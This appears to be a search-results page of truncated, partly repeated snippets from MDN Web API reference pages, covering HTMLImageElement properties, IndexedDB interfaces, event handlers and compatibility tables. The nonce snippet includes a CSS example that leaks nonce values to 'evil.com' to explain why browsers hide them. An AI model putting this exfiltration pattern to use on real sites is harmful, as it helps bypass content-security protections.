...reader(), this interface provides the functionality which lets you read the contents of a directory. fileexception represents an error which is generated by synchronous file system calls. there are also two global functions (which are not part of the specification at this time and are implemented only by google chrome). they're available on the worker object and implemented in localfilesystemsync: requestfilesystemsync() and resolvelocalfilesystemsyncurl(). other interfaces localfilesystem gives you access to a sandboxed file system. localfilesystemsync lockedfile provides tools to deal with a given file with all the necessary locks. metadata specifications specification status comment file and directory entries api draft draft of propos...
GainNode() - Web APIs
Web › API › GainNode › GainNode
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...e android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
...fault values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
GlobalEventHandlers.onanimationstart - Web APIs
the function receives as input a single parameter: an animationevent object describing the event which occurred. ...
... some javascript code to do that. we'll get to that shortly. javascript content before we get to the animation code, we define a function which logs information to a box on the user's screen. we'll use this to show information about the events we receive. note the use of animationevent.animationname and animationevent.elapsedtime to get information about the event which occurred. ...
...efore we get to the animation code, we define a function which logs information to a box on the user's screen. we'll use this to show information about the events we receive. note the use of animationevent.animationname and animationevent.elapsedtime to get information about the event which occurred. ...
GlobalEventHandlers.onerror - Web APIs
the error reported is simply "script error." this behavior can be overriden in some browsers using the crossorigin attribute on <script> and having the server send the appropriate cors http response headers. a workaround is to isolate "script error." and handle it knowing that the error detail is only viewable in the browser console and not accessible via javascript. ...
...ehavior can be overriden in some browsers using the crossorigin attribute on <script> and having the server send the appropriate cors http response headers. a workaround is to isolate "script error." and handle it knowing that the error detail is only viewable in the browser console and not accessible via javascript. ...
...nd handle it knowing that the error detail is only viewable in the browser console and not accessible via javascript. window.onerror = function (msg, url, lineno, columnno, error) { var string = msg.tolowercase(); var substring = "script error"; if (string.indexof(substring) > -1){ alert('script error: see browser console for detail'); } else { var message = [ 'message: ' + msg, 'url: ' + url, 'line: ' + lineno, 'column: ' + columnno, 'error object: ' + json.stringify(error) ].join(' - '); alert(message); } return false; }; when using the inline html markup (<body onerror="alert('an error occurred')">), the html specification requires arguments passed to onerror to be named event, source, lineno, colno, error. in browsers that hav...
HTMLBodyElement - Web APIs
oke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbodyelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement and from windoweventhandlers. htmlbodyelement.alink is a domstring that represents the color of active hyperlinks. htmlbodyelement.background is a domstring that represents the description of the location of the background image resource. note that this is not an uri, though some older version of some browsers do expect it. htmlbodyelement.bgcolor is a domstring that represents the background color for the document. htmlbodyelement.link is a dom...
... methods no specific methods; inherits methods from its parent, htmlelement, and from windoweventhandlers. event handlers no specific event handlers; inherits event handlers from its parent, htmlelement and from windoweventhandlers. ...
... methods no specific methods; inherits methods from its parent, htmlelement, and from windoweventhandlers. ...
HTMLCollection - Web APIs
the htmlcollection interface represents a generic collection (array-like object similar to arguments) of elements (in document order) and offers methods and properties for selecting from the list. note: this interface is called htmlcollection for historical reasons (before the modern dom, collections implementing this interface could only have html elements as their items). an htmlcollection in the html dom is live; it is automatically updated when the underlying document is changed. properties htmlcollection.length read only returns the number of items in the collection. methods htmlcollection.item() returns the specific node at the given zero-based index into the list. returns null if the index is out of range. an alternative to accessing collection[i] (which instead return...
...dex. html ids may contain : and . as valid characters, which would necessitate using bracket notation for property access. currently htmlcollections does not recognize purely numeric ids, which would cause conflict with the array-style access, though html5 does permit these. ...
...aracters, which would necessitate using bracket notation for property access. currently htmlcollections does not recognize purely numeric ids, which would cause conflict with the array-style access, though html5 does permit these. for example, assuming there is one <form> element in the document and its id is myform: var elem1, elem2; // document.forms is an htmlcollection elem1 = document.forms[0]; elem2 = document.forms.item(0); alert(elem1 === elem2); // shows: "true" elem1 = document.forms.myform; elem2 = document.forms.nameditem("myform"); alert(elem1 === elem2); // shows: "true" elem1 = document.forms["named.item.with.periods"]; specifications specification status comment domthe definition of 'htmlcollection' in that specification. living standa...
HTMLEmbedElement - Web APIs
4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlembedelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. ...
...g></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlembedelement.align is a domstring representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", "center", and "justify". htmlembedelement.height is a domstring reflecting the height html attribute, containing the displayed height of the resource. htmlembedelement.name is a domstring representing the name of the embedded object. ...
... indicating alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", "center", and "justify". htmlembedelement.height is a domstring reflecting the height html attribute, containing the displayed height of the resource. htmlembedelement.name is a domstring representing the name of the embedded object. htmlembedelement.src is a domstring that reflects the src html attribute, containing the address of the resource. htmlembedelement.type is a domstring that reflects the type html attribute, containing the type of the resource. htmlembedelement.width is a domstring that reflects the width html attribute, containing the displayed width of the resource. methods no specific method; inherits methods from its parent, htmlelem...
HTMLImageElement.align - Web APIs
osition the image relative to its container. you should instead use the css propertiy vertical-align, which does in fact also work on images despite its name. you can also use the float property to float the image to the left or right margin. the align property reflects the html align content attribute. syntax htmlimageelement.align = alignmode; alignmode = htmlimageelement.align; value a domstring specifying one of the following strings which set the alignment mode for the image. baseline alignment these three values specify the alignment of the element relative to the text baseline. these should be replaced by using the css vertical-align property. bottom the bottom edge of the image is to be aligned vertically with the current text baseline. default value. middle the center ...
...on. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ? ...
HTMLImageElement.border - Web APIs
r-block-start-width, border-block-end-width, border-inline-start-width, and border-inline-end-width properties. for compatibility (or perhaps other) reasons, you can use the older properties instead (or in addition): border-top-width, border-right-width, border-bottom-width, and border-left-width. syntax htmlimageelement.border = thickness; let thickness = htmlimageelement.border; value a domstring containing an integer value specifying the thickness of the border that should surround the image, in css pixels. a value of 0, or an empty string, indicates that there should be no border drawn. the default value of border is 0 usage notes do not use border. it is obsolete. instead, use the css border property and its longhand properties to establish borders around images. for example, ...
...on. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ? ...
HTMLImageElement.complete - Web APIs
library app that provides the ability to open images into a lightbox mode for improved viewing as well as editing of the image. these photos may be very large, so you don't want to wait for them to load, so your code uses async/await to load the images in the background. but imagine that you have other code that needs to only run when the image has completed loading, such as a command that performs red-eye removal on the image in the lightbox. while ideally this command wouldn't even be executed if the image hasn't fully loaded, for improved reliability you want to check to ensure this is the case. so the fixredeyecommand() function, which is called by the button that triggers red-eye removal, checks the value of the lightbox image's complete property before attempting to do its work. this...
...ification. unknown browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
HTMLImageElement.decoding - Web APIs
the decoding property of the htmlimageelement interface represents a hint given to the browser on how it should decode the image. syntax refstr = imgelem.decoding; imgelem.decoding = refstr; values a domstring representing the decoding hint. possible values are: sync: decode the image synchronously for atomic presentation with other content. async: decode the image asynchronously to reduce delay in presenting other content. auto: default mode, which indicates no preference for the decoding mode. the browser decides what is best for the user. usage notes the decoding property allows you to control whether or not the browser is allowed to try to parallelize loading your image. if doing so would cause problems, you can specify sync to disable asynchronous loading. this c...
...n. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 11.1webview android full support 65chrome android full support 65firefox android full support 63opera android ? ...
HTMLImageElement.height - Web APIs
ment interface indicates the height at which the image is drawn, in css pixels if the image is being drawn or rendered to any visual medium such as the screen or a printer; otherwise, it's the natural, pixel density corrected height of the image. syntax htmlimageelement.height = newheight; let height = htmlimageelement.height; value an integer value indicating the height of the image. the terms in which the height is defined depends on whether the image is being rendered to a visual medium or not. if the image is being rendered to a visual medium such as a screen or printer, the height is expressed in css pixels. otherwise, the image's height is represented using its natural (intrinsic) height, adjusted for the display density as indicated by naturalheight. example in this exampl...
...n. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ? ...
HTMLImageElement.hspace - Web APIs
space; value an integer value specifying the width, in pixels, of the horizontal margin to apply to the left and right sides of the image. usage notes the value specified for hspace is mapped to the margin-left and margin-right properties to specify the width of those margins in pixels. important: this property is obsolete. you should instead use the css margin property and its longhand forms to establish margins around an <img>. specifications specification status comment html living standardthe definition of 'htmlimageelement.hspace' in that specification. living standard html 4.01 specificationthe definition of 'htmlimageelement.hspace' in that specification. recommendation provides additional details not present in the newer spe...
... the newer specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ? ...
HTMLImageElement.longDesc - Web APIs
the obsolete property longdesc on the htmlimageelement interface specifies the url of a text or html file which contains a long-form description of the image. this can be used to provide optional added details beyond the short description provided in the title attribute. syntax descurl = htmlimageelement.longdesc; htmlimageelement.longdesc = descurl; value a domstring which may be either an empty string (indicating that no long description is available) or the url of a file containing a long form description of the image's contents. for example, if the image is a png of a flowchart. the longdesc property could be used to provide an explanation of the flow of control represented by the chart, using only text. this can be used by readers both as an explanation, but also as a substitut...
...nly says it's deprecated. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ? ...
HTMLImageElement.lowSrc - Web APIs
the htmlimageelement interface's obsolete lowsrc property can be used to specify the url of a reduced-quality or otherwise faster-loading version of the image specified by the src property. this property reflects the html lowsrc attribute. syntax htmlimageelement.lowsrc = imageurl; imageurl = htmlimageelement.lowsrc; value a domstring specifying the url of a version of the image specified by src which has been modified in some fashion so that it loads significantly more quickly than the primary image. there are a number of ways to achieve this; primary among them: higher compression levels (for example, a primary image saved as a jpeg using 85% quality might have a lowsrc version saved at 15%. reduced color depth; a primary image in 32-bit color might have an alternate image i...
... among the obsolete attributes. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android ? opera android ? safari ios ? samsung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.name - Web APIs
important: this property is deprecated and is only in the specification still for backward compatibility purposes. since it functions identically to id, you can and should use it instead. ...
...t available in the html 5 browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ? ...
HTMLImageElement.referrerPolicy - Web APIs
possible values are: "no-referrer" meaning that the referer: http header will not be sent. "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host and the port. ...
... referrerpolicy property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 11.1webview android full support 51chrome android full support 51firefox android full support 50opera android full support 41safari ios no support nosamsung internet android full support 5.0legend full support full support no support no support ...
HTMLImageElement.vspace - Web APIs
space; value an integer value specifying the height, in pixels, of the vertical margin to apply to the top and bottom sides of the image. usage notes the value specified for vspace is mapped to the margin-top and margin-bottom properties to specify the height of those margins in pixels. important: this property is obsolete. you should instead use the css margin property and its longhand forms to establish margins around an <img>. specifications specification status comment html living standardthe definition of 'htmlimageelement.vspace' in that specification. living standard html 4.01 specificationthe definition of 'htmlimageelement.vspace' in that specification. recommendation the html 4.01 specification offers additional details. ...
...ffers additional details. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.width - Web APIs
mageelement interface indicates the width at which the image is drawn, in css pixels if the image is being drawn or rendered to any visual medium such as the screen or a printer; otherwise, it's the natural, pixel density corrected width of the image. syntax htmlimageelement.width = newwidth; let width = htmlimageelement.width; value an integer value indicating the width of the image. the terms in which the width is defined depends on whether the image is being rendered to a visual medium or not. if the image is being rendered to a visual medium such as a screen or printer, the width is expressed in css pixels. otherwise, the image's width is represented using its natural (intrinsic) width, adjusted for the display density as indicated by naturalwidth. example in this example, tw...
...n. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.x - Web APIs
> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table and looks up its x and y values is below. let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows property to get a list of the rows in the table, from which it looks up row 1 (which, being a zero-based index, means the second row from the top). then it looks at that <tr> (t...
...ion. working draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...android full support yesfirefox android full support 14 full support 14 no support ? ...
HTMLImageElement.y - Web APIs
> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table and looks up its x and y values is below. let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows property to get a list of the rows in the table, from which it looks up row 1 (which, being a zero-based index, means the second row from the top). then it looks at that <tr> (t...
...ion. working draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...android full support yesfirefox android full support 14 full support 14 no support ? ...
HTMLKeygenElement - Web APIs
ent interface, which provides special properties and methods (beyond the regular element object interface they also have available to them by inheritance) for manipulating the layout and presentation of keygen elements. properties autofocus is a boolean that reflects the autofocus html attribute, indicating that the form control should have input focus when the page loads. challenge is a domstring that reflects the challenge html attribute, containing a challenge string that is packaged with the submitted key. form read only is a htmlformelement that indicates the control's form owner, reflecting the form html attribute if it is defined. keytype is a domstring that reflects the keytype html attribute, containing the type of key used. labels read only unimplemented (see bug 5567...
...tted key. form read only is a htmlformelement that indicates the control's form owner, reflecting the form html attribute if it is defined. keytype is a domstring that reflects the keytype html attribute, containing the type of key used. labels read only unimplemented (see bug 556743) is a nodelist that represents a list of label elements associated with this keygen element. name is a domstring that reflects the name html attribute, containing the name for the control that is submitted with form data. type read only is a domstring that must be the value keygen. validationmessage read only is a domstring representing a localized message that describes the validation constraints that the control does not satisfy (if any). this is the empty string if the control is not a candida...
...enting the validity states that this element is in. willvalidate is a boolean that is always false because keygen objects are never candidates for constraint validation. methods name & arguments return description checkvalidity() boolean always returns true because keygen objects are never candidates for constraint validation. setcustomvalidity(in domstring error) void sets a custom validity message for the element. if this message is not the empty string, then the element is suffering from a custom validity error, and does not validate. ...
HTMLLinkElement.as - Web APIs
specifications specification status comment preloadthe definition of 'as' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
HTMLOrForeignElement.nonce - Web APIs
ribute, so a workaround is to try to use getattribute as a fallback: let nonce = script['nonce'] || script.getattribute('nonce'); however, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). the idl property (script['nonce']) will be the only way to access nonces. nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the dat...
...e' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 10webview android full support 61chrome android full support 61firefox android no support noopera android full support yessafari ios full support 10samsung internet android full support 8.0legend full support full support no support no support ...
HTMLScriptElement.referrerPolicy - Web APIs
no referrer information is sent along with requests. ...
.... living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 70chrome android full support 70firefox android full support 65opera android full support yessafari ios no support nosamsung internet android full support 10.0legend full support full support no support no support ...
HTMLSlotElement.name - Web APIs
examples the following snippet is taken from our slotchange example (see it live also). ...
... living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...l version 59 (exclusive): this feature is behind the dom.webcomponents.enabled preference (needs to be set to true) and the dom.webcomponents.shadowdom.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10.3samsung internet android full support 6.0legend full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.user must explicit...
HTMLTableColElement - Web APIs
stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablecolelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmltablecolelement.align is a domstring that indicates the horizontal alignment of the cell data in the column. htmltablecolelement.ch is a domstring representing the alignment character for cell data. htmltablecolelement.choff is a domstring representing the offset for the alignment character. htmltablecolelement.span is an unsigned long that reflects the span html attribute, indicating the number of columns to apply...
... methods no specific method; inherits methods from its parent, htmlelement. ...
...tring representing the offset for the alignment character. htmltablecolelement.span is an unsigned long that reflects the span html attribute, indicating the number of columns to apply this object's attributes to. must be a positive integer. htmltablecolelement.valign is a domstring that indicates the vertical alignment of the cell data in the column. htmltablecolelement.width is a domstring representing the default column width. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status comment html living standardthe definition of 'htmltablecolelement' in that specification. living standard no change from html5. html5the definition of 'htmltablecolelement' in that specification. ...
Recommended Drag Types - Web APIs
ieving the data, you must use the mozgetdataat() method. event.datatransfer.mozsetdataat("application/x-moz-file", file, 0); if possible, include the file url of the file using both the text/uri-list and text/plain types. these types should be added afterward so that the more specific application/x-moz-file type has higher priority. multiple files will be received during a drop as multiple items in the data transfer. see dragging and dropping multiple items for more details about this. the following example shows how to create an area for receiving dropped files: <listbox ondragenter="return checkdrag(event)" ondragover="return checkdrag(event)" ondrop="dodrop(event)"/> <script> function checkdrag(event) { return event.datatransfer.types.contains("application/x-moz...
...e is added to the listbox. note that the instanceof operator is used here as the mozgetdataat() method will return an nsisupports that needs to be checked and converted into an nsifile. this is also a good extra check in case someone made a mistake and added a non-file for this type. updates to datatransfer.types the latest spec dictates that datatransfer.types should return a frozen array of domstrings rather than a domstringlist (this is supported in firefox 52 and above). as a result, the contains method no longer works; the includes method should be used instead to check if a specific type of data is provided, using code like the following: if ([...event.datatransfer.types].includes('text/html')) { // do something } you could use feature detection to determine which method is supp...
... var file = cc['@mozilla.org/file/local;1'].createinstance(components.interfaces.nsilocalfile); file.initwithpath(dir.path); file.appendrelativepath(name); console.log("output final path is =" + file.path); // now you can write or copy the file yourself… } } } see also html drag and drop api (overview) drag operations dragging and dropping multiple items html5 living standard: drag and drop ...
IDBCursor.direction - Web APIs
see the values section below for possible values. note: this feature is available in web workers. syntax var direction = cursor.direction; value a string (defined by the idbcursordirection enum) indicating the direction in which the cursor is traversing the data. possible values are: value description next this direction causes the cursor to be opened at the start of the source. nextunique this direction causes the cursor to be opened at the start of the source. ...
...n. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBCursor.key - Web APIs
Web › API › IDBCursor › key
recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... opera full support 45saf...
... full support 10.1webview android full support 58chrome android full support 58firefox android ? ...
IDBCursor.source - Web APIs
Web › API › IDBCursor › source
cursor is iterating over. example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store. within each iteration we log the source of the cursor, which will log our idbobjectstore object to the console, something like this: idbobjectstore {autoincrement: false, transaction: idbtransaction, indexnames: domstringlist, keypath: "albumtitle", name: "rushalbumlist"…} the cursor does not require us to select the data based on a key; we can just grab all of it. also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo. for a complete working example, see our idbcursor example (view example live.) function displaydata() { va...
... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBDatabase.createObjectStore() - Web APIs
w.indexeddb.open(). // this handler is only supported in recent browsers. ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBDatabase.name - Web APIs
Web › API › IDBDatabase › name
example this example shows a database connection being opened, the resulting idbdatabase object being stored in a db variable, and the name property then being logged. for a full example, see our to-do notifications app (view example live). ...
... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBDatabase.objectStoreNames - Web APIs
the objectstorenames read-only property of the idbdatabase interface is a domstringlist containing a list of the names of the object stores currently in the connected database. note: this feature is available in web workers. syntax var list[] = idbdatabase.objectstorenames; value a domstringlist containing a list of the names of the object stores currently in the connected database. example // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of ope...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBDatabase.onabort - Web APIs
deneeded = function(event) { var db = event.target.result; db.onerror = function() { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function() { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBDatabase.onerror - Web APIs
needed = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBDatabase.onversionchange - Web APIs
function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error opening database.</li>'; }; db.onabort = function(event) { note.innerhtml += '<li>database opening aborted!</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBDatabaseException - Web APIs
rface was removed from the specification and was replaced by usage of domexception. in the indexeddb api, an idbdatabaseexception object represents exception conditions that can be encountered while performing database operations. attributes attribute type description code unsigned short the most appropriate error code for the condition. message domstring error message describing the exception raised. constants note: do not rely on the numeric values of the constants, which might change as the specifications continue to change. use the constant names instead. constant value description abort_err 8 a request was aborted, for example, through a call to idbtransaction.abort. constraint_err ...
...en with idbopendbrequest. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new we...
IDBEnvironment - Web APIs
= dbopenrequest.result; }; } browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... opera full support ...
... yessafari ? webview android full support yeschrome android full support yesfirefox android full support 37opera android full support yessafari ios ? ...
IDBFactory.deleteDatabase() - Web APIs
if the database is successfully deleted, then a success event is fired on the request object returned from this method, with its result set to undefined. if an error occurs while the database is being deleted, then an error event is fired on the request object that is returned from this method. when deletedatabase() is called, any other open connections to this particular database will get a versionchange event. ...
...n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBIndex.objectStore - Web APIs
asic cursor on the index using idbindex.opencursor. this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. the current object store is logged to the console: it should be returned something like this: idbobjectstore { name: "contactslist", keypath: "id", indexnames: domstringlist[7], transaction: idbtransaction, autoincrement: false } finally, we iterate through each record, and insert the data into an html table. for a complete working example, see our idbindex-example demo repo (view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBObjectStore.add() - Web APIs
n, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.autoIncrement - Web APIs
ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.createIndex() - Web APIs
b.open(). (see above.) // it is only implemented in recent browsers. ...
...n. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
